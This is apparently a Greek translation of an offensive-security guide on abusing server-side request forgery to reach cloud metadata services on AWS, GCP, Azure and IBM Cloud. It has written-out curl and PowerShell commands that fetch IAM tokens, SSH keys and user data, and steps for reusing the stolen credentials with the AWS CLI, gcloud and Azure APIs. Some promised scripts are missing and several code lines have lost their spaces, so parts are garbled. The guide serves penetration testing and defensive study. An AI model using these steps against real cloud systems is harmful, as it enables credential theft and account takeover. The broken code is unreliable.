Το metadata endpoint μπορεί να προσπελαστεί από μέσα σε οποιαδήποτε EC2 μηχανή και προσφέρει ενδιαφέρουσες πληροφορίες γι' αυτήν. Είναι προσβάσιμο στη διεύθυνση: http://169.254.169.254 (πληροφορίες για το metadata εδώ).
Υπάρχουν 2 εκδόσεις του metadata endpoint. Η πρώτη επιτρέπει την πρόσβαση στο endpoint μέσω GET αιτημάτων (έτσι οποιοδήποτε SSRF μπορεί να το εκμεταλλευτεί). Για την έκδοση 2, IMDSv2, χρειάζεται να ζητήσετε ένα token στέλνοντας ένα PUT αίτημα με ένα HTTP header και στη συνέχεια να χρησιμοποιήσετε αυτό το token για να αποκτήσετε πρόσβαση στο metadata με ένα άλλο HTTP header (έτσι είναι πιο περίπλοκο να εκμεταλλευτείτε με ένα SSRF).
Σημειώστε ότι αν η EC2 instance επιβάλλει IMDSv2, σύμφωνα με τα έγγραφα, η απάντηση του PUT αιτήματος θα έχει ένα hop limit 1, καθιστώντας αδύνατη την πρόσβαση στο EC2 metadata από ένα container μέσα στην EC2 instance.
Επιπλέον, IMDSv2 θα μπλοκάρει επίσης αιτήματα για την απόκτηση ενός token που περιλαμβάνουν το header X-Forwarded-For. Αυτό γίνεται για να αποτραπεί η πρόσβαση από κακώς ρυθμισμένους αντίστροφους proxy.
Μπορείτε να βρείτε πληροφορίες για τα metadata endpoints στα έγγραφα. Στο παρακάτω σενάριο αποκτώνται κάποιες ενδιαφέρουσες πληροφορίες από αυτό:
Μπορείτε στη συνέχεια να πάρετε αυτά τα credentials και να τα χρησιμοποιήσετε με το AWS CLI. Αυτό θα σας επιτρέψει να κάνετε οτιδήποτε έχει άδειες να κάνει αυτός ο ρόλος.
Για να εκμεταλλευτείτε τα νέα credentials, θα χρειαστεί να δημιουργήσετε ένα νέο προφίλ AWS όπως αυτό:
Παρατηρήστε το aws_session_token, αυτό είναι απαραίτητο για να λειτουργήσει το προφίλ.
PACU μπορεί να χρησιμοποιηθεί με τα ανακαλυφθέντα διαπιστευτήρια για να μάθετε τα προνόμιά σας και να προσπαθήσετε να αναβαθμίσετε τα προνόμια.
SSRF σε AWS ECS (Container Service) διαπιστευτήρια
ECS, είναι μια λογική ομάδα EC2 instances στην οποία μπορείτε να εκτελέσετε μια εφαρμογή χωρίς να χρειάζεται να κλιμακώσετε την υποδομή διαχείρισης του δικού σας cluster, επειδή το ECS το διαχειρίζεται αυτό για εσάς. Εάν καταφέρετε να παραβιάσετε την υπηρεσία που εκτελείται στο ECS, οι τελικοί μεταδεδομένων αλλάζουν.
Εάν αποκτήσετε πρόσβαση στο http://169.254.170.2/v2/credentials/<GUID> θα βρείτε τα διαπιστευτήρια της μηχανής ECS. Αλλά πρώτα πρέπει να βρείτε το <GUID>. Για να βρείτε το <GUID> πρέπει να διαβάσετε τη μεταβλητή environAWS_CONTAINER_CREDENTIALS_RELATIVE_URI μέσα στη μηχανή.
Θα μπορούσατε να είστε σε θέση να το διαβάσετε εκμεταλλευόμενοι μια Path Traversal στο file:///proc/self/environ
Η αναφερόμενη διεύθυνση http θα πρέπει να σας δώσει το AccessKey, SecretKey και token.
Σημειώστε ότι σε ορισμένες περιπτώσεις θα μπορείτε να αποκτήσετε πρόσβαση στα μεταδεδομένα EC2 από το κοντέινερ (ελέγξτε τους περιορισμούς TTL του IMDSv2 που αναφέρθηκαν προηγουμένως). Σε αυτά τα σενάρια από το κοντέινερ θα μπορούσατε να αποκτήσετε πρόσβαση τόσο στον ρόλο IAM του κοντέινερ όσο και στον ρόλο IAM του EC2.
SSRF για AWS Lambda
Σε αυτή την περίπτωση οι διαπιστεύσεις αποθηκεύονται σε μεταβλητές περιβάλλοντος. Έτσι, για να τις αποκτήσετε, πρέπει να αποκτήσετε πρόσβαση σε κάτι όπως file:///proc/self/environ.
Το όνομα των ενδιαφερόντων μεταβλητών περιβάλλοντος είναι:
AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID
Επιπλέον, εκτός από τις διαπιστεύσεις IAM, οι λειτουργίες Lambda έχουν επίσης δεδομένα εκδήλωσης που μεταφέρονται στη λειτουργία όταν ξεκινά. Αυτά τα δεδομένα είναι διαθέσιμα στη λειτουργία μέσω της διασύνδεσης χρόνου εκτέλεσης και θα μπορούσαν να περιέχουν ευαίσθητεςπληροφορίες (όπως μέσα στις stageVariables). Σε αντίθεση με τις διαπιστεύσεις IAM, αυτά τα δεδομένα είναι προσβάσιμα μέσω τυπικού SSRF στο http://localhost:9001/2018-06-01/runtime/invocation/next.
Σημειώστε ότι οι διαπιστεύσεις lambda είναι μέσα στις μεταβλητές περιβάλλοντος. Έτσι, αν η στοίβα παρακολούθησης του κώδικα lambda εκτυπώνει μεταβλητές περιβάλλοντος, είναι δυνατόν να εξαχθούν προκαλώντας ένα σφάλμα στην εφαρμογή.
Για να χρησιμοποιήσετε το εξαγόμενο διαπιστευτήριο υπηρεσίας μπορείτε απλά να κάνετε:
# Via env varsexport CLOUDSDK_AUTH_ACCESS_TOKEN=<token>gcloudprojectslist# Via setupecho"<token>">/some/path/to/tokengcloudconfigsetauth/access_token_file/some/path/to/tokengcloudprojectslistgcloudconfigunsetauth/access_token_file
# PowershellInvoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))# Paths/metadata/instance?api-version=2017-04-02/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text/metadata/instance/compute/userData?api-version=2021-01-01&format=text
Azure App Service
Από το env μπορείτε να αποκτήσετε τις τιμές του IDENTITY_HEADERκαιIDENTITY_ENDPOINT. Αυτές μπορείτε να τις χρησιμοποιήσετε για να συγκεντρώσετε ένα token για να μιλήσετε με τον διακομιστή μεταδεδομένων.
Οι περισσότερες φορές, θέλετε ένα token για έναν από αυτούς τους πόρους:
# Check for those env vars to know if you are in an Azure appecho $IDENTITY_HEADERecho $IDENTITY_ENDPOINT# You should also be able to find the folder:ls/opt/microsoft#and the filels/opt/microsoft/msodbcsql17# Get management tokencurl"$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# Get graph tokencurl"$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01"-Hsecret:$IDENTITY_HEADER# API# Get SubscriptionsURL="https://management.azure.com/subscriptions?api-version=2020-01-01"curl-H"Authorization: $TOKEN""$URL"# Get current permission on resources in the subscriptionURL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"curl-H"Authorization: $TOKEN""$URL"# Get permissions in a VMURL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl-H"Authorization: $TOKEN""$URL"
# API request in powershell to management endpoint$Token ='eyJ0eX..'$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# API request to graph endpoint (get enterprise applications)$Token ='eyJ0eX..'$URI ='https://graph.microsoft.com/v1.0/applications'$RequestParams =@{Method ='GET'Uri = $URIHeaders =@{'Authorization'="Bearer $Token"}}(Invoke-RestMethod @RequestParams).value# Using AzureAD Powershell module witho both management and graph tokens$token ='eyJ0e..'$graphaccesstoken ='eyJ0eX..'Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
# Try to get current perms over resourcesGet-AzResource## The following error means that the user doesn't have permissions over any resourceGet-AzResource : 'this.Client.SubscriptionId' cannot be null.At line:1 char:1+Get-AzResource+ ~~~~~~~~~~~~~~+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException+ FullyQualifiedErrorId :Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
Σημειώστε ότι στην IBM, από προεπιλογή, τα μεταδεδομένα δεν είναι ενεργοποιημένα, οπότε είναι πιθανό να μην μπορείτε να έχετε πρόσβαση σε αυτά ακόμη και αν βρίσκεστε μέσα σε ένα VM της IBM cloud
export instance_identity_token=`curl-s-XPUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\-H "Metadata-Flavor: ibm"\-H "Accept: application/json"\-d '{"expires_in": 3600}' |jq-r '(.access_token)'`# Get instance detailscurl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys infocurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user datacurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groupscurl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentialscurl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Η τεκμηρίωση για τις υπηρεσίες μεταδεδομένων διαφόρων πλατφορμών περιγράφεται παρακάτω, επισημαίνοντας τις μεθόδους μέσω των οποίων μπορεί να αποκτηθεί πληροφορίες διαμόρφωσης και εκτέλεσης για τις περιπτώσεις. Κάθε πλατφόρμα προσφέρει μοναδικά endpoints για την πρόσβαση στις υπηρεσίες μεταδεδομένων της.